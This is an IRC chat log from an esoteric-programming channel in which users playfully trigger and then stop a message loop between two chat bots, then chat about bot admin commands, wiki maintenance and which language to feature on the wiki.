19:15:46 <elliott> @where hackegoloop
19:15:46 <lambdabot> `cat lambdabotloop
19:15:47 <lambdabot> `cat lambdabotloop
19:15:47 <elliott> @where hackegoloop
19:15:47 <lambdabot> `cat lambdabotloop
19:15:55 <HackEgo> lambdabot: @where hackegoloop
19:15:55 <lambdabot> `cat lambdabotloop
19:15:58 * oerjan assumes elliott knows how to stop the loop
19:16:01 <elliott> This is the least dramatic botloop ever.
19:16:02 <elliott> oerjan: Yes.
19:16:13 <HackEgo> lambdabot: @where hackegoloop
19:16:14 <lambdabot> `cat lambdabotloop
19:16:18 <elliott> I refuse to do it until it rises above the pace of a slow crawl :P
19:16:25 <HackEgo> lambdabot: @where hackegoloop
19:16:25 <lambdabot> `cat lambdabotloop
19:16:32 <HackEgo> lambdabot: @where hackegoloop
19:16:32 <lambdabot> `cat lambdabotloop
19:16:35 <HackEgo> lambdabot: @where hackegoloop
19:16:35 <HackEgo> lambdabot: @where hackegoloop
19:16:35 <lambdabot> `cat lambdabotloop
19:16:35 <lambdabot> `cat lambdabotloop
19:16:39 <elliott> OK, a few seconds more.
19:16:43 <elliott> Just savouring the flavour and textures.
19:16:51 <HackEgo> lambdabot: @where hackegoloop
19:16:52 <lambdabot> `cat lambdabotloop
19:16:53 <elliott> `rm lambdabotloop
19:16:54 <HackEgo> lambdabot: @where hackegoloop
19:16:54 <lambdabot> `cat lambdabotloop
19:16:56 <HackEgo> lambdabot: @where hackegoloop
19:16:56 <lambdabot> `cat lambdabotloop
19:17:00 <HackEgo> lambdabot: @where hackegoloop
19:17:00 <lambdabot> `cat lambdabotloop
19:17:04 <elliott> `rm lambdabotloop
19:17:04 <elliott> `rm lambdabotloop
19:17:05 <elliott> `rm lambdabotloop
19:17:05 <elliott> `rm lambdabotloop
19:17:05 <elliott> `rm lambdabotloop
19:17:06 <elliott> `rm lambdabotloop
19:17:09 <elliott> @where+ hackegoloop nowhere
19:17:09 <lambdabot> Good to know.
19:17:14 <HackEgo> lambdabot: @where hackegoloop
19:17:14 <lambdabot> nowhere
19:17:17 <HackEgo> lambdabot: @where hackegoloop
19:17:17 <lambdabot> nowhere
19:17:26 <elliott> X-D
19:17:27 <elliott> @where- hackegoloop
19:17:28 <lambdabot> Maybe you meant: where where+
19:17:31 <elliott> Harumph
19:17:33 <HackEgo> cat: lambdabotloop: No such file or directory
19:17:40 <elliott> @where asdlasldjkasdasd
19:17:40 <lambdabot> I know nothing about asdlasldjkasdasd.
19:17:45 <elliott> @where+ hackegoloop I know nothing about hackegoloop.
19:17:46 <lambdabot> Done.
19:17:50 <HackEgo> rm: cannot remove `lambdabotloop': No such file or directory
19:18:06 <HackEgo> cat: lambdabotloop: No such file or directory
19:18:09 <elliott> Definitely not the best botloop I've seen.
19:18:12 <HackEgo> cat: lambdabotloop: No such file or directory
19:18:14 <elliott> Though the after-effects are amusing.
19:18:21 <HackEgo> lambdabot: @where hackegoloop
19:18:21 <lambdabot> I know nothing about hackegoloop.
19:18:24 <HackEgo> lambdabot: @where hackegoloop
19:18:24 <lambdabot> I know nothing about hackegoloop.
19:18:28 <HackEgo> No output.
19:18:31 <elliott> HackEgo really wants to know about hackegoloop.
19:18:42 <lambdabot> STOP IT ALREADY
19:18:43 <HackEgo> No output.
19:18:44 <HackEgo> lambdabot: @where hackegoloop
19:18:44 <lambdabot> I know nothing about hackegoloop.
19:18:44 <HackEgo> No output.
19:18:51 <HackEgo> No output.
19:18:51 <HackEgo> No output.
19:18:51 <HackEgo> lambdabot: @where hackegoloop
19:18:52 <lambdabot> I know nothing about hackegoloop.
19:18:52 <HackEgo> No output.
19:18:55 <lambdabot> THE PAIN!!!!!
19:19:11 <elliott> Wait, wait.
19:19:16 <elliott> oerjan: It has to be done one more time.
19:19:24 <oerjan> wat
19:19:49 <lambdabot> `run echo 'lambdabot: @where hackegoloop' >lambdabotloop
19:19:54 <lambdabot> `cat lambdabotloop
19:19:54 <HackEgo> No output.
19:19:57 <HackEgo> cat: lambdabotloop: No such file or directory
19:19:59 <lambdabot> `cat lambdabotloop
19:20:02 <HackEgo> lambdabot: @where hackegoloop
19:20:02 <lambdabot> `cat lambdabotloop
19:20:06 <HackEgo> lambdabot: @where hackegoloop
19:20:06 <lambdabot> `cat lambdabotloop
19:20:09 <HackEgo> lambdabot: @where hackegoloop
19:20:09 <lambdabot> `cat lambdabotloop
19:20:09 <elliott> SELF-CREATING BOTLOOP
19:20:11 <HackEgo> lambdabot: @where hackegoloop
19:20:12 <lambdabot> `cat lambdabotloop
19:20:15 <HackEgo> lambdabot: @where hackegoloop
19:20:15 <lambdabot> `cat lambdabotloop
19:20:16 <elliott> `rm lambdabotloop
19:20:19 <HackEgo> lambdabot: @where hackegoloop
19:20:19 <lambdabot> `cat lambdabotloop
19:20:25 <HackEgo> lambdabot: @where hackegoloop
19:20:25 <lambdabot> `cat lambdabotloop
19:20:29 <HackEgo> lambdabot: @where hackegoloop
19:20:29 <lambdabot> `cat lambdabotloop
19:20:33 <HackEgo> lambdabot: @where hackegoloop
19:20:33 <lambdabot> `cat lambdabotloop
19:20:34 <HackEgo> No output.
19:20:35 <elliott> I think I just invented bot teledildonics.
19:20:37 <HackEgo> lambdabot: @where hackegoloop
19:20:37 <lambdabot> `cat lambdabotloop
19:20:40 <HackEgo> cat: lambdabotloop: No such file or directory
19:20:50 <Sgeo> what is hackegoloop?
19:21:00 <elliott> @where hackegoloop
19:21:01 <lambdabot> `cat lambdabotloop
19:21:04 <HackEgo> cat: lambdabotloop: No such file or directory
19:21:07 * oerjan wonders what was self-creating about that
19:21:09 <elliott> @where+ hackegoloop I know nothing about hackegoloop.
19:21:10 <lambdabot> It is stored.
19:21:12 <elliott> oerjan:
19:21:13 <elliott> <lambdabot> `run echo 'lambdabot: @where hackegoloop' >lambdabotloop
19:21:14 <elliott> <lambdabot> `cat lambdabotloop
19:21:32 <oerjan> hm
19:21:44 <elliott> (lambdabot admins can cause lambdabot to send messages.)
19:22:00 <elliott> (But I'd prefer it if you just assumed lambdabot decided to do that of its own accord.)
19:22:06 <oerjan> O KAY
19:22:30 <lambdabot> no
19:22:52 <nortti> `run echo '`car hackegoloop' > hackegoloop
19:22:55 <HackEgo> No output.
19:23:00 <elliott> `car
19:23:03 <HackEgo> ​/home/hackbot/hackbot.hg/multibot_cmds/lib/limits: line 5: exec: car: not found
19:23:04 <elliott> oerjan: Did you know I can cause lambdabot to quit from IRC?
19:23:28 <nortti> `run echo '`cat hackegoloop' > hackegoloop
19:23:32 <HackEgo> No output.
19:23:49 <nortti> `cat hackegoloop
19:23:52 <HackEgo> ​`cat hackegoloop
19:23:56 <ion> Did you know I can cause ion to quit from IRC?
19:24:04 <ion> Oh, wait. I can’t, actually. He’s addicted.
19:24:04 <elliott> X@quit ion
19:24:12 <elliott> (If I hadn't added that X...)
19:24:29 <elliott> @admin - shachaf
19:24:38 <oerjan> elliott: you have mentioned
19:24:39 <shachaf> Huh?
19:24:56 <elliott> shachaf: I just decided to deadmin you.
19:24:58 <elliott> You know, just in case.
19:26:04 <shachaf> I wasn't even an admin.
19:26:06 <elliott> http://stackoverflow.com/questions/9981756/missing-dates-programfrom-text-file
19:26:08 <elliott> plz keep in mind the leap years
19:26:51 <nortti> `date @1333333337
19:26:54 <HackEgo> date: invalid date `@1333333337'
19:28:23 <elliott> @flush
19:30:08 <nortti> date -d @ 1333333337
19:30:28 <nortti> `date -d @ 1333333337
19:30:31 -!- augur has joined.
19:30:31 <HackEgo> Mon Apr 2 02:22:17 UTC 2012
19:30:37 -!- asiekierka has quit (Remote host closed the connection).
19:32:35 <elliott> oerjan: i'm gaining on your editcount >:D
19:32:46 <elliott> | 1938 | Oerjan |
19:32:46 <elliott> | 1464 | Ehird |
19:34:04 <elliott> including deleted revisions:
19:34:06 <elliott> | 1943 | Oerjan |
19:34:06 <elliott> | 1579 | Ehird |
19:34:10 <elliott> mwahaha
19:34:34 <oerjan> just as well to get it over with.
19:35:10 -!- zzo38 has joined.
19:35:16 -!- nortti has quit (Quit: nortti).
19:36:27 <elliott> ais523: hey, surely there's a MediaWiki extension for marking names as to be displayed in lowercase?
19:36:49 <ais523> perhaps, I guess you can check
19:37:12 <elliott> hmm, I did, and they all seem to involve hideous source mods; I would think you could simply monkeypatch a method of the User class
19:37:16 <elliott> assuming PHP can do monkeypatching
19:37:53 <elliott> oh, I could even make it use the display title of their user page, appropriately scrubbed, to determine the preferred capitalisation
19:38:46 <elliott> (except then ais523 would have to lose his user page gag for it to work :))
19:39:24 <ais523> it's not /that/ good a gag
19:40:00 <elliott> actually, I suppose it'd be technically incorrect if we got that, since the technical limitations would be removed
19:43:49 -!- augur has quit (Remote host closed the connection).
19:43:53 <elliott> ais523: do you want to hear a joke?
19:44:04 <ais523> not particularly, I guess
19:44:07 <ais523> but you're probably going to tell it anyway
19:44:12 <elliott> ais523: userboxes
19:44:30 <elliott> Do you want to hear a secret? None of my jokes are actually jokes.
19:45:03 <shachaf> elliott: Where does a general keep his armies?
19:45:59 <elliott> Above his legsies.
19:46:02 <olsner> in his sleevies?
19:46:21 <shachaf> That's probably the best joke.
19:47:03 <elliott> Probably.
19:49:06 <shachaf> <elliott> But it's not a very good joke. Hence there are no good jokes.
19:50:11 <shachaf> I like all the words mathematicians have invented that all mean "therefore".
19:50:24 <shachaf> Probably to make some long proofs less boring or something.
19:50:54 <oerjan> ergo summandum
19:51:17 <shachaf> hence thence whence therefore thus so implies ergo then
19:51:34 <lambdabot> <shachaf> @msg #esoteric But it's not a very good joke. Hence there are no good jokes.
19:51:53 <olsner> hmm, I wonder if there's a counterpart of summa summarum in english?
19:51:54 <elliott> shachaf: I scored 4.
19:51:54 <shachaf> lambdabot: Well I never!
19:51:56 <elliott> Is that a high enough score?
19:52:04 <shachaf> elliott: 4 what?
19:52:18 <olsner> hmm... that should be a statement about me wondering, not a question
19:52:40 -!- zzo38 has set topic: Iuckqlwviv Kjugobe was here (while you weren't here) | Feynman's Trivial Theorem: It's trivial! It's trivial! | http://codu.org/logs/_esoteric/.
19:52:46 <oerjan> yeah, why would you end a non-question with a question mark.
19:52:57 <olsner> I don't know?
19:53:11 <zzo38> Perhaps the topic message is still not overfull
19:53:24 <oerjan> olsner: well stop that?
19:53:36 <olsner> oerjan: do you want me to stop.
19:54:03 <oerjan> isn't that obvious!
19:54:27 <olsner> are you annoyed yet
19:54:28 <shachaf> And we all say: OH!
19:54:28 <shachaf> Well I never!
19:54:28 <shachaf> Was there ever
19:54:28 <shachaf> A Cat so clever
19:54:29 <shachaf> As Magical Mr. Mistoffelees!
19:54:44 <zzo38> (Yes, both Iuckqlwviv Kjugobe and Richard Feynman were here while you weren't looking)
19:54:54 <elliott> <shachaf> elliott: 4 what?
19:55:04 <elliott> shachaf: Synonyms of "therefore" in your list that I've used in SO answers.
19:55:21 <shachaf> elliott: Oh.
19:55:35 <shachaf> You'll never make it in the real mathematics world, kid.
19:55:57 <oerjan> accordingly, we may conclude there are always more synonyms.
19:56:07 -!- zzo38 has set topic: Iuckqlwviv Kjugobe was here (while you weren't here) | Richard Feynman was also here | Feynman's Trivial Theorem: It's trivial! It's trivial! | http://codu.org/logs/_esoteric/.
19:56:30 <shachaf> zzo38: Richard Feynman was not here.
19:56:31 -!- oerjan has set topic: Iuckqlwviv Kjugobe was here (while you weren't here) | Richard Feynman was also here | Zombie Feynman's Trivial Theorem: It's trivial! It's trivial! | http://codu.org/logs/_esoteric/.
19:57:05 <shachaf> elliott: That list was incomplete, of course.
19:57:23 <zzo38> shachaf: I know.
19:57:25 <shachaf> accordingly consequently wherefore
19:57:39 <elliott> I've used "Accordingly" too, I think.
19:57:45 <olsner> subsequently
19:58:10 <zzo38> (But neither was the fictional character Iuckqlwviv Kjugobe; and anyways the topic message can contain these kind of strange things even if not true about Feynman not being in here today)
19:58:20 <shachaf> thereby
19:58:25 <olsner> correspondingly
19:58:37 <shachaf> olsner: Now you're stretching it.
19:58:40 <oerjan> amusingly
19:58:46 <shachaf> By the way, olsner = oerjan, right?
19:58:51 <shachaf> Extensionally
19:58:59 <olsner> facets of the scandinavian hivemind
19:59:04 <elliott> @time
19:59:06 <lambdabot> Local time for elliott is Mon Apr 2 20:59:02
19:59:09 <elliott> @lime
19:59:10 <lambdabot> Local time for elliott is Mon Apr 2 20:59:07
19:59:18 <elliott> @serious organised crime
19:59:18 <lambdabot> Unknown command, try @list
19:59:29 <oerjan> @lie
19:59:29 <lambdabot> Maybe you meant: bid dice elite id let list time
19:59:45 <oerjan> @thyme
19:59:45 <lambdabot> Maybe you meant: time type
20:00:13 <oerjan> @tame
20:00:17 <lambdabot> Local time for oerjan is Mon Apr 2 21:59:43 2012
20:00:33 <elliott> @fame
20:00:34 <lambdabot> Maybe you meant: fact faq free time
20:00:43 <elliott> @dame
20:00:43 <lambdabot> Maybe you meant: dice time
20:00:45 <elliott> @shame
20:00:45 <lambdabot> Unknown command, try @list
20:00:47 <elliott> @blame
20:00:47 <lambdabot> Unknown command, try @list
20:00:49 <elliott> @flush
20:00:51 <elliott> @admin + oerjan
20:00:52 <elliott> @admin - oerjan
20:00:53 <elliott> @admin - shachaf
20:00:56 <elliott> hi
20:01:06 <shachaf> elliott: You're a terrible admin.
20:01:13 <zzo38> @admin - elliott
20:01:13 <lambdabot> Not enough privileges
20:01:16 <zzo38> @admin - zzo38
20:01:16 <lambdabot> Not enough privileges
20:01:20 <zzo38> @admin - lambdabot
20:01:20 <lambdabot> Not enough privileges
20:01:22 <olsner> is elliott an admin of the lambdabot.
20:01:44 <elliott> yes
20:01:46 <shachaf> @admin - elliott
20:01:49 <shachaf> @admin + lambdabot
20:01:54 <elliott> Despite appearances, shachaf isn't.
20:01:55 <elliott> Put that back.
20:02:11 <shachaf> @admin + zzo38
20:02:14 -!- augur has joined.
20:02:21 <elliott> @admin + elliott, thx
20:02:26 -!- augur has quit (Remote host closed the connection).
20:02:31 <shachaf> @admin + elliott
20:02:33 <elliott> @admin - shachaf
20:02:33 <shachaf> @admin - elliott
20:02:34 <lambdabot> Not enough privileges
20:02:39 <elliott> @admin - lambdabot
20:02:44 <shachaf> Ooh, a race condition.
20:02:49 <shachaf> elliott won the race. :-(
20:03:07 <shachaf> @admin - elliott
20:03:30 <zzo38> However, you should not set my name to admin (you didn't; because of a space; but nevertheless) because I do not have nick protection set on my account
20:03:40 <elliott> shachaf: Please stop that.
20:03:58 <shachaf> zzo38: At this point I doubt that'll make much difference.
20:04:01 <elliott> zzo38: Neither do most of the other admins, which is why shachaf keeps using admin commands.
20:04:11 <elliott> Or rather "how".
20:04:37 <shachaf> zzo38: You should have nick protection set on your account.
20:05:08 <shachaf> zzo38: What if some really weird person starts pretending to be you?
20:05:30 <olsner> I think it'd be quite obvious if he suddenly became that normal
20:07:01 -!- MoALTz__ has joined.
20:07:05 <elliott> im heathen
20:07:45 <elliott> "That's all well and good Chris, but shouldn't you have written that site in Happstack?" -- Michael Snoyman
20:07:46 <elliott> shachaf: he;lp
20:07:53 <zzo38> If I ever need to become administration of lambdabot or anything like that I will set nick protection; but currently I have no need to be such administrations and so on, so I will just leave it how it is
20:08:38 <elliott> zzo38: Nick protection wouldn't help, anyway.
20:08:40 <elliott> It only kicks in after 30s.
20:08:43 -!- nortti has joined.
20:08:44 <RocketJSquirrel> Stealing zzo38's nick would be like a Turing test. Can YOU behave like zzo?
20:08:44 <elliott> 30s is quite enough time to type "@admin + shachaf".
20:09:07 <shachaf> elliott: Are you able to send /msgs before it kicks in?
20:09:19 <shachaf> RocketJSquirrel: That sounds like a fun game.
20:09:23 -!- MoALTz_ has quit (Ping timeout: 248 seconds).
20:09:26 <shachaf> zzo38: Teach me how to be like you.
20:09:29 <elliott> shachaf: You can send @admin + in public...
20:09:36 <nortti> dmitry.co/index.php?p=./04.Thoughts/07.+Linux+on+8bit
20:09:47 <oerjan> Some people might be able to behave like zzo if they want to. Then again, some people might not.
20:10:01 <elliott> nortti: Ooool- wait, did I link that in here...
20:10:07 <elliott> oerjan: F- obviously wrong
20:10:16 <shachaf> oerjan: Not want to or not be able to?
20:10:19 <elliott> second sentence was awful
20:10:23 <elliott> first sentence was better
20:10:49 <oerjan> elliott: is whooshing shachaf good or bad there
20:10:57 <zzo38> Perhaps, they should set lambdabot to +R mode and then disallow public administration commands; that might work.
20:11:19 <olsner> hmm, that's not really linux on 8-bit though, it's just linux on emulated 32-bit
20:11:24 <shachaf> oerjan: I understood that you were behaving like zzo38 there.
20:11:38 <elliott> olsner: What's the difference, man?
20:11:40 <oerjan> OK it is good that you understood that.
20:11:41 <olsner> approximately like saying linux on cpu is linux on 1-bit because it's all transistors
20:11:42 <shachaf> oerjan: I responded in the same way that I would've responded to zzo38 if he had said it instead of you.
20:11:53 <elliott> olsner: Well, isn't it?
20:12:01 <olsner> yes
20:12:44 <elliott> Well then.
20:13:22 <RocketJSquirrel> nortti: "The raw video is in a few segments, since I had to change camera batteries a few times while filming." X-D
20:14:07 <nortti> "It takes about 2 hours to boot to bash
20:15:20 <nortti> +"
20:15:54 <zzo38> But, someone without an account might want to send queries to lambdabot anyways
20:17:40 <elliott> It would be easy enough for lambdabot just to check whois.
20:18:26 <nortti> elliott: what if you use different name on the wiki?
20:18:36 <shachaf> zzo38: O, that is true
20:19:12 <zzo38> elliott: Yes. It is what I was thinking of next
20:19:18 <zzo38> shachaf: Yes
20:19:59 <shachaf> zzo38: Yes
20:20:00 <zzo38> (I think there is the 330 line to indicate if you are loggedi n)
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20:22:51 <elliott> <nortti> elliott: what if you use different name on the wiki?
20:22:53 <elliott> norhuh?
20:23:00 <elliott> oh
20:23:02 <elliott> dammit nortti
20:23:07 <elliott> leaving and all that
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20:32:00 <elliott> rip lambdabot, "we missed u"
20:32:10 <shachaf> elliott: What did you just do to #haskell?
20:32:56 <shachaf> <lambdabot> "i hate u sulamit haskell" -- eliot
20:33:13 <elliott> Did I do something?
20:33:16 <shachaf> elliott: Whoa, man. You call it that too?
20:33:23 <elliott> What.
20:33:34 <shachaf> "sulamit haskell"
20:34:05 <elliott> what
20:34:08 <oerjan> hele sulamitten
20:34:53 -!- sebbu2 has changed nick to sebbu.
20:34:57 <elliott> what
20:35:10 <shachaf> a whole lotta sulamits
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20:35:51 <elliott> what
20:36:04 <oerjan> apparently it's hebrew
20:36:15 <shachaf> It means '#'.
20:36:23 <shachaf> Alternatively, "little ladder".
20:36:46 <elliott> More like paamyiamyiaymaim neukeudedokaytayim am i right
20:36:47 <elliott> http://stackoverflow.com/questions/9972598/haskell-warp-and-ajax
20:37:15 <shachaf> "am i right" -- eliot
20:37:18 <shachaf> "no" -- universe
20:37:29 <elliott> @admin - shachaf
20:37:38 * oerjan sympathy eliot
20:37:52 <elliott> oerjan: hi
20:37:56 <elliott> im sympathy
20:40:42 * oerjan tries to look up sulamit[th]? and refuels his disgust for web dictionaries that give google hits for words they don't actually have definitions for
20:41:32 <shachaf> oerjan: Try סולמית
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20:44:27 <oerjan> that + definition brought me to a page with no definition, a blocked popup and an annoying non-blocked popup which showed up when i tried to click "show all definitions"
20:45:25 <zzo38> Did you try Wiktionary?
20:45:49 <myndzi\> does linux routing count as an esoteric language? ;)
20:45:56 -!- myndzi\ has changed nick to myndzi.
20:45:58 <shachaf> O, and you should try Google Translate too if you tried Wiktionary and it did not work.
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20:46:23 <oerjan> i found a place glosbe.com which had a definition
20:46:31 <zzo38> There is also the internet dictionary service, but as far as I know that is English only
20:46:37 <ais523> haha, proggit's arguing over what should happen if you hash NaN
20:46:39 <oerjan> but what does that have to do with the biblical meaning
20:47:09 <ais523> I /actually/ think NaN is the only possible return value
20:50:07 <zzo38> Is this good now? class Typeable x => NodeClass x where { showNode :: x -> String; hRender :: x -> Node -> RenderPos -> (PageObjects, RenderPos); vRender :: x -> Node -> RenderPos -> (PageObjects, RenderPos); hPackNode :: x -> ([Node], Glue, Dimen, Dimen, [Node]); vPackNode :: x -> ([Node], Glue, Dimen, Dimen); nodePenalty :: x -> Maybe Int;
20:50:35 <elliott> ais523: fun fact: there are 3295 users with no undeleted edits and more than zero deleted edits
20:50:45 <elliott> I just wish there weren't a handful of that set that aren't spambots...
20:50:56 <zzo38> nodeWidth :: x -> Dimen; nodeHeight :: x -> Dimen; nodeDepth :: x -> Dimen; nodeGlueSet :: x -> GlueSet; isNodeDiscardable :: x -> Bool; traverseBox :: Applicative f => (Node -> f Node) -> x -> f Node; showNode _ = "Node;"; hRender x _ y = ([], y + toRenderPos (nodeWidth x)); vRender x _ y = ([], y + toRenderPos (nodeHeight x + nodeDepth x)); hPackNode x = ([Node x], fixedGlue (nodeWidth x), nodeHeight x, nodeDepth x, []);
20:51:35 <zzo38> vPackNode x = ([Node x], fixedGlue (nodeHeight x), nodeDepth x, nodeWidth x); nodePenalty _ = Nothing; nodeWidth _ = 0; nodeHeight _ = 0; nodeDepth _ = 0; nodeGlueSet _ = GlueSet 0 Finite Stretching; isNodeDiscardable _ = False; traverseBox f = f . wrapNode; };
20:51:58 <shachaf> elliott: Fun fact: If you edit the esolang wiki, you are by definition a spambot.
20:52:24 <oerjan> ^ul ((SPAM )S:^):^
20:52:43 <elliott> shachaf: Have you ever considered saying something that isn't cheap snark?
20:52:51 <shachaf> fungot is a fun got
20:52:53 <fungot> shachaf: just when i tottered to my feet and began to stagger fnord toward the bottom of the pedestal. the fnord scarf is found on a crag in the dark. it was then that madness took me utterly. an instant later, and i followed them. the phrase was just this: ' fnord! you are off! send back earth's gods to their haunts on unknown kadath whom he sought. when he took down the receiver in the library once more, i feared, had come to
20:52:55 <shachaf> Wait, how do you make fungot talk?
20:52:56 <shachaf> fungot: tlak to me
20:52:56 <fungot> shachaf: seen one ( for that fabled father of shantaks in the king's dome is fed in the dark. drowsiness, however, the short distance to the right, so that he had
20:52:56 <fungot> shachaf: but i havent told you the whole story. here i found what seemed much like that by which i had brought in a mechanic from a neighbouring all-night garage, we learned that nothing could be done about those rats. he would be properly confined. if something graver appeared, and before i could investigate there came a
20:53:22 <shachaf> elliott: Yes, but you gotta stay competitive in this channel, you know?
20:53:45 <oerjan> competing with elliott? madness!
20:53:54 <shachaf> elliott: It's an elliott-eat-everybody world out there.
20:55:01 <shachaf> oerjan: I agree -- there's no way I can beat elliott on the cheap snarks.
20:55:07 <shachaf> oerjan: But at least I can stay alive.
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21:00:03 <elliott> oerjan: there's some kind of rule against putting five languages on the wiki per day, right? :)
21:01:01 <elliott> ais523: grr, another joke language with other categories on it
21:01:07 <elliott> ais523: did we figure out what to do about all that?
21:01:09 <ais523> no
21:03:13 <elliott> is “calling functions in data structure” possible in haskell?
21:04:31 <oerjan> well you could say that's sort of what lazy evaluation is
21:04:55 <elliott> oerjan: note the smart quotes, it's an SO question title :P
21:05:13 <oerjan> O KAY
21:05:21 <ais523> I see no reason why you couldn't make a tuple of functions
21:05:26 <ais523> although I may have misunderstood the questino
21:05:44 <ais523> and the smart quotes are indistinguishable from straight quotes in this font and font size, unless they kern differently
21:05:49 <oerjan> questinos, like questions, except whizzing past at near lightspeed
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21:33:43 <elliott> (diff | hist) . . N Robol(in)‎; 21:23 . . (+2,731) . . David.werecat (Talk | contribs | block)‎ (Created Page)
21:33:45 * elliott cries.
21:33:56 <elliott> "Robol(in) is an incomplete specification by David Catt (user:David.werecat). It will probably never be updated or implemented."
21:34:13 <elliott> ais523: wait, didn't we agree that personal very-sketchy WIPs aren't appropriate for articlespace?
21:34:44 <ais523> we agreed that they were inappropriate for the list of ideas
21:34:51 <ais523> although I have no particular reason to want them in articlespace
21:35:47 <oerjan> WIPHs
21:36:56 <elliott> oerjan: work in phantom hoovers?
21:37:05 <oerjan> permanent hiatus
21:37:07 <elliott> those are all bricks ready to become brains
21:38:29 <elliott> ais523: I approve of your punishment
21:39:01 <ais523> elliott: heh
21:39:08 <ais523> I'm not sure what it actually does, but that's part of the un
21:39:10 <ais523> *fun
21:39:33 <ais523> I was originally planning to do an exile judged to increase your reregistration timeout by one day, but it seems I can't do that
21:42:36 -!- elly_ has changed nick to elly.
21:43:13 <elliott> http://stackoverflow.com/questions/9965043/i-have-a-troubles-in-basic-about-the-codes "Did I put MISMATCH in the wrong place?"
21:47:16 <oerjan> )
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21:51:52 <elliott> oerjan: (
21:52:00 <elliott> O, it makes a sad face, see?
21:52:13 <elliott> (diff | hist) . . N ELANG‎; 21:50 . . (+4,740) . . David.werecat (Talk | contribs | block)‎ (Created Page)
21:52:13 <elliott> O_O
21:52:15 <oerjan> }:
21:52:29 <elliott> I assign oerjan to clean up http://esolangs.org/wiki/ELANG, I've done far too many for one day
21:55:45 <elliott> Oh, oerjan did Robol(in)?
21:55:50 <elliott> Of course you realise, this means war.
21:56:48 <oerjan> > ord '|'
21:56:55 <oerjan> ^asc |
21:56:55 <fungot> 124.
21:57:52 <elliott> oerjan: {{!}}}
21:57:52 <elliott> hth
21:57:54 <elliott> *}}
21:58:30 <elliott> huh
21:58:32 <elliott> that actually breaks
22:01:41 <elliott> oerjan: hey how long has /// been featured language.
22:01:47 <elliott> is it two weeks yet. are we keeping them two weeks or a month.
22:01:50 <elliott> i don't even know.
22:02:08 <oerjan> i don't know, but you're a day late if you want deadfish next.
22:02:22 <oerjan> or almost two days.
22:02:28 <elliott> oerjan: ...god dammit, that would have been perfect.
22:02:41 <elliott> especially since it'd align things to nice even numbers if we run the languages for a month.
22:02:47 <elliott> WHY DIDN'T YOU SUGGEST THAT AT THE TIME ;__;
22:03:46 <oerjan> since 19 march
22:04:01 <oerjan> elliott: i _did_, you just didn't logread properly.
22:04:56 <elliott> oerjan: ...
22:05:02 <elliott> oerjan: i could block you, you know :P
22:05:10 * oerjan whistles innocently
22:05:22 <oerjan> i could ban you, you know :P
22:05:57 <elliott> then we'd both be happy!
22:06:05 <oerjan> yay!
22:06:09 <elliott> hmm
22:06:20 <elliott> ais523: it's more surprising for esolang's real april fool's joke to be a day late, right?
22:06:24 <elliott> everyone's guard is down on april 2
22:06:33 <oerjan> TRULY
22:06:36 <ais523> it's not an april fools' joke then
22:06:38 <elliott> (look out for my new 10-volume work-in-progress, The Art of Rationalisation)
22:06:53 <zzo38> Do you think the functions for the NodeClass for DVI typesetting is good enough by now?
22:07:08 <elliott> hmm, it went up early in the morning 14 days ago
22:07:16 <elliott> so now is actually perfect for two weeks
22:07:22 <elliott> oerjan: are we doing two weeks or a month, which is best, "hlep"
22:09:06 <oerjan> IT'S TOO LATE WE'RE ALL DOOMED
22:09:14 <elliott> HL;EP!!!!!! 2 WEEKS OR MONTH HEPL
22:09:21 <elliott> CREYS
22:09:28 <oerjan> @dice 1d2
22:09:39 <oerjan> CURSES, FOILED AGAIN
22:10:09 <elliott> oerjan: ^bool
22:10:12 <elliott> http://stackoverflow.com/questions/9983840/what-are-the-pros-and-cons-of-enumerators-vs-conduits-vs-pipes can you say "not constructive"?
22:10:18 <oerjan> ^bool
22:10:18 <fungot> Yes.
22:10:23 <oerjan> 2 WEEKS
22:10:36 <elliott> oerjan: ok but won't we run out
22:10:37 <elliott> of esolangs
22:10:44 <oerjan> ^bool
22:10:44 <fungot> No.
22:10:47 <elliott> that's 26 languages PER YEAR!!!
22:10:49 <oerjan> CERTAINLY NOT.
22:10:54 <elliott> are there even 26 good esolangs??
22:10:58 <elliott> ais523 are there 26 good esolangs
22:11:15 <oerjan> OK RECONSIDERATION: 2 MONTHS
22:11:43 <ais523> elliott: possibly
22:11:50 <ais523> month is best IMO
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22:11:53 <shachaf> elliott: Do you think the functions for the NodeClass for DVI typesetting is good enough by now?
22:12:06 * oerjan swats shachaf -----###
22:12:10 <ais523> or do what some wikis do, weekly but with repeats every now and then
22:12:17 <elliott> weekly is far too fast
22:12:43 <elliott> ais523: a month is probably best for supply, but it seems to me like the /// featured language is getting old already.
22:12:56 <elliott> at least the idea of it being up another repeat of the period it already has seems awfully stale.
22:13:00 <elliott> *up for
22:13:29 <ais523> yes
22:13:48 -!- zzo38 has left.
22:14:06 <elliott> well, i'm impatient and i want to see deadfish on the main page
22:14:08 <elliott> so i'm doing it now :P
22:14:34 <elliott> oerjan: guess who has to help me write a blurb for [[Deadfish]]
22:14:40 <oerjan> shachaf.
22:14:56 <elliott> <CTCP>ACTION vaguely considers just copying "Deadfish has a way to output things but it has no way to input them! It has only a few commands, only four in total. It is also case-sensitive, and can deal only with integer values when adding or subtracting, however once squared this number increases greatly! You can have several commands per line, at least in the C implementation. Errors are not acknowledged the shell simply adds a newline character! Anyth
22:15:22 <elliott> but that might give people the wrong impression as to the quality standards of the wiki :P
22:15:30 <elliott> (ok, the right impression, but the wrong right impression)
22:15:34 <oerjan> what do you me... right
22:15:39 <shachaf> oerjan: No, it's you.
22:15:49 <oerjan> shachaf: IMPSSBLE
22:16:07 <oerjan> M VWL KS JST STPPD WRKNG, Y S
22:16:35 <shachaf> 0H N0
22:16:55 <elliott> ais523: ok, /you/ help me write a blurb for Deadfish
22:17:04 <shachaf> oerjan = ais523?!
22:17:13 <ais523> hmm, tired
22:17:20 <ais523> also, I'd have the wrong attitude
22:17:22 <shachaf> oerjan: Are you tired?
22:17:39 <shachaf> elliott: Can I write the blurb for Deathfish?
22:17:44 <elliott> shachaf: No.
22:17:46 <shachaf> I'd write such a good blurb.
22:17:49 <elliott> Well, yes.
22:17:51 <elliott> But I'll reject it.
22:18:00 <shachaf> What if it's good?
22:18:03 <elliott> oerjan: what's snl.no
22:18:07 <elliott> shachaf: it's not meant to be good
22:18:16 <oerjan> i don't know
22:18:18 <shachaf> What if it's bad in the right way?
22:18:22 <elliott> oerjan: ok
22:18:26 <elliott> shachaf: Go on.
